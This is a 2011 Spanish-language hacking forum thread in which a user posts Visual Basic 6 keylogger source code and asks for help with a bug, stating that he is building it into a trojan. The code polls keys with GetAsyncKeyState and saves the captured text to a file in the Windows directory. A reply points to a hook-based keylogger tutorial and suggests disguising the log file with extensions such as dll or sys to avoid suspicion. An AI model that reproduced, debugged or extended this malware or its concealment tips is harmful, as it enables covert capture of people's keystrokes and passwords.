elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Ayuda con mi Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con mi Keylogger  (Leído 1,629 veces)
mastercss

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Ayuda con mi Keylogger
« en: 23 Febrero 2011, 17:57 pm »

Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:
Código
  1. Private Sub Command1_Click()
  2. Timer1.Enabled = True
  3. Timer2.Enabled = True
  4. Command1.Enabled = False
  5. Command2.Enabled = True
  6. End Sub
  7.  
  8. Private Sub Command2_Click()
  9. Timer1.Enabled = False
  10. Timer2.Enabled = False
  11. Command2.Enabled = False
  12. Command1.Enabled = True
  13. End Sub
  14.  
  15. Private Sub Form_Load()
  16. Command2.Enabled = False
  17. Timer1.Enabled = False
  18. caracter(33) = "[Pag Arriba]"
  19. caracter(34) = "[Pag Abajo]"
  20. caracter(35) = "[Fin]"
  21. caracter(36) = "[Inicio]"
  22. caracter(45) = "[Insertar]"
  23. caracter(46) = "[Supr]"
  24. caracter(48) = "="
  25. caracter(49) = "!"
  26. caracter(50) = "@"
  27. caracter(51) = "#"
  28. caracter(52) = "$"
  29. caracter(53) = "%"
  30. caracter(54) = "&"
  31. caracter(55) = "/"
  32. caracter(56) = "("
  33. caracter(57) = ")"
  34. caracter(186) = "`"
  35. caracter(187) = "+"
  36. caracter(188) = ","
  37. caracter(189) = "-"
  38. caracter(190) = "."
  39. caracter(191) = "}"
  40. caracter(219) = "{" '
  41. caracter(220) = "\"
  42. caracter(221) = "¡"
  43. caracter(222) = "{"
  44. caracter(86) = "^"
  45. caracter(87) = "*"
  46. caracter(88) = ";"
  47. caracter(89) = "_"
  48. caracter(90) = ":"
  49. caracter(91) = "?"
  50. caracter(119) = "?"
  51. caracter(120) = "|"
  52. caracter(121) = "¿"
  53. caracter(122) = """"
  54. caracter(96) = "0"
  55. caracter(97) = "1"
  56. caracter(98) = "2"
  57. caracter(99) = "3"
  58. caracter(100) = "4"
  59. caracter(101) = "5"
  60. caracter(102) = "6"
  61. caracter(103) = "7"
  62. caracter(104) = "8"
  63. caracter(105) = "9"
  64. caracter(106) = "*"
  65. caracter(107) = "+"
  66. caracter(109) = "-"
  67. caracter(110) = "."
  68. caracter(111) = "/"
  69. caracter(192) = "ñ"
  70. caracter(92) = "Ñ"
  71. End Sub
  72.  
  73. Private Sub Timer1_Timer()
  74. Dim teclas As Long
  75. For teclas = 65 To 90
  76.    If GetAsyncKeyState(teclas) = -32767 Then
  77.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  78.            If GetKeyState(VK_CAPITAL) > 0 Then
  79.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  80.                Exit Sub
  81.            Else
  82.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  83.                Exit Sub
  84.            End If
  85.        Else
  86.            If GetKeyState(VK_CAPITAL) > 0 Then
  87.                Text1.Text = Text1.Text & UCase(caracter(teclas))
  88.                Exit Sub
  89.            Else
  90.                Text1.Text = Text1.Text & LCase(caracter(teclas))
  91.                Exit Sub
  92.            End If
  93.        End If
  94.    End If
  95. Next
  96. For teclas = 48 To 57
  97.    If GetAsyncKeyState(teclas) = -32767 Then
  98.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  99.            Text1.Text = Text1.Text & caracter(teclas)
  100.            Exit Sub
  101.        Else
  102.            Text1.Text = Text1.Text & caracter(teclas)
  103.            Exit Sub
  104.        End If
  105.    End If
  106. Next
  107. For teclas = 186 To 192
  108.    If GetAsyncKeyState(teclas) = -32767 Then
  109.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  110.            Text1.Text = Text1.Text & caracter(teclas - 100)
  111.            Exit Sub
  112.        Else
  113.            Text1.Text = Text1.Text & caracter(teclas)
  114.            Exit Sub
  115.        End If
  116.    End If
  117. Next
  118. For teclas = 219 To 222
  119.    If GetAsyncKeyState(teclas) = -32767 Then
  120.        If GetAsyncKeyState(VK_SHIFT) < 0 Then
  121.            Text1.Text = Text1.Text & caracter(teclas - 100)
  122.            Exit Sub
  123.        Else
  124.            Text1.Text = Text1.Text & caracter(teclas)
  125.            Exit Sub
  126.        End If
  127.    End If
  128. Next
  129. For teclas = 96 To 111
  130.    If GetAsyncKeyState(teclas) = -32767 Then
  131.        If GetAsyncKeyState(VK_ALT) < 0 Then
  132.            Text1.Text = Text1.Text & caracter(teclas)
  133.            Exit Sub
  134.        Else
  135.            Text1.Text = Text1.Text & "[Alt]"
  136.            Exit Sub
  137.        End If
  138.    End If
  139. Next
  140. If GetAsyncKeyState(32) = -32767 Then
  141.    Text1.Text = Text1.Text & " "
  142. End If
  143. If GetAsyncKeyState(13) = -32767 Then
  144.    Text1.Text = Text1.Text & "Enter>" & vbCrLf
  145. End If
  146. If GetAsyncKeyState(8) = -32767 Then
  147.    If (Right(Text1.Text, 1)) = " " Then GoTo nod
  148.       tip = Len(Text1.Text) - 1
  149.       Text1.Text = Left(Text1.Text, tip)
  150. nod:
  151.    End If
  152.  
  153. If GetAsyncKeyState(37) = -32767 Then
  154.    Text1.Text = Text1.Text & "[Izquierda]"
  155. End If
  156.  
  157. If GetAsyncKeyState(38) = -32767 Then
  158.    Text1.Text = Text1.Text & "[Arriva]"
  159. End If
  160.  
  161. If GetAsyncKeyState(39) = -32767 Then
  162.    Text1.Text = Text1.Text & "[Derecha]"
  163. End If
  164.  
  165. If GetAsyncKeyState(40) = -32767 Then
  166.    Text1.Text = Text1.Text & "[Abajo]"
  167. End If
  168.  
  169. If GetAsyncKeyState(9) = -32767 Then
  170.    Text1.Text = Text1.Text & "[Tab]"
  171. End If
  172.  
  173. If GetAsyncKeyState(27) = -32767 Then
  174.    Text1.Text = Text1.Text & "[Escape]"
  175. End If
  176.  
  177. For teclas = 45 To 46
  178.    If GetAsyncKeyState(teclas) = -32767 Then
  179.        Text1.Text = Text1.Text & caracter(letras)
  180.    End If
  181. Next
  182. End Sub
  183.  
  184. Private Sub Timer2_Timer()
  185. GuardaLog
  186. End Sub

En el módulo:
Código
  1. Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  2. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Public caracter(255) As String
  4. Public Const VK_SHIFT = &H10
  5. Public Const VK_CTRL = &H11
  6. Public Const VK_ALT = &H12
  7. Public Const VK_CAPITAL = &H14
  8. Public AltDown As Boolean
  9.  
  10. Function GuardaLog()
  11. Dim ar As String
  12. Open Environ("windir") & "\keylog.txt" For Output As #1
  13. Print #1, Form1.Text1.Text
  14. Close #1
  15. End Function
  16.  
  17. Function LeeLog(archivo As String) As String
  18. Dim lee As String
  19. Open archivo For Input As #1
  20.    lee = Input(LOF(1), 1)
  21. Close #1
  22. LeeLog = lee
  23. End Function

El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.


« Última modificación: 23 Febrero 2011, 17:59 pm por mastercss » En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: Ayuda con mi Keylogger
« Respuesta #1 en: 23 Febrero 2011, 18:43 pm »

Hola.
No te ofendas, pero ese código hace daño a la vista, 2 timers, muchos bucles... :-\
Investiga sobre hooks, consumen pocos recursos y ahorras muuuuucho código.
Mira, te dejo un ejemplo que posteo mi amiguete Karcry :
http://foro.elhacker.net/programacion_vb/vb6_creacion_de_un_keylogger_avanzado_hook-t264469.0.html

Si quieres otro consejo:
No necesariamente debes guardarlo .txt, puedes guardarlo con otra extension (dll, ini, sys...) o alguna inventada por ti para levantar menos sospechas... :rolleyes:

DoEvents! :P


« Última modificación: 23 Febrero 2011, 19:02 pm por Mr.Frog™ » En línea

mastercss

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Ayuda con mi Keylogger
« Respuesta #2 en: 23 Febrero 2011, 19:59 pm »

Muchas gracias justo ahora estaba investigando sobre "hooks" a ver si me va bien con ellos. Salu2
En línea

mastercss

Desconectado Desconectado

Mensajes: 36


Ver Perfil
Re: Ayuda con mi Keylogger
« Respuesta #3 en: 23 Febrero 2011, 20:48 pm »

Bueno despues de leer un poco, definitivamente los hooks me quedan bastante grandes xDDDDDDD.

Es decir, el manual esta muy bien pero hay muchas clases y constantes de la api SetWindowsHookEx y SetWindowsHook que no hay explicadas. Me veo incapaz de entender el codigo asi que lo siguire intentando.

Salu2
En línea

Psyke1
Wiki

Desconectado Desconectado

Mensajes: 1.089



Ver Perfil WWW
Re: Ayuda con mi Keylogger
« Respuesta #4 en: 23 Febrero 2011, 21:14 pm »

Bueno, al menos te molestaste en verlo. :)
No te preocupes ya lo entenderás con el tiempo. ;)
Busca más ejemplos por la web para ayudarte, lee algun manual, porque como ya te dije tu src se puede optimizar... y mucho.

DoEvents! :P
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Keylogger en VB ayuda
Programación Visual Basic
Za3LoT 8 3,117 Último mensaje 8 Julio 2008, 05:38 am
por kabruxis
Ayuda kon Keylogger « 1 2 »
Programación Visual Basic
cherembo 18 5,407 Último mensaje 6 Octubre 2006, 15:57 pm
por cherembo
ayuda con keylogger « 1 2 »
Programación Visual Basic
TheWhite 14 4,857 Último mensaje 16 Agosto 2007, 22:51 pm
por HaDeS, -
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines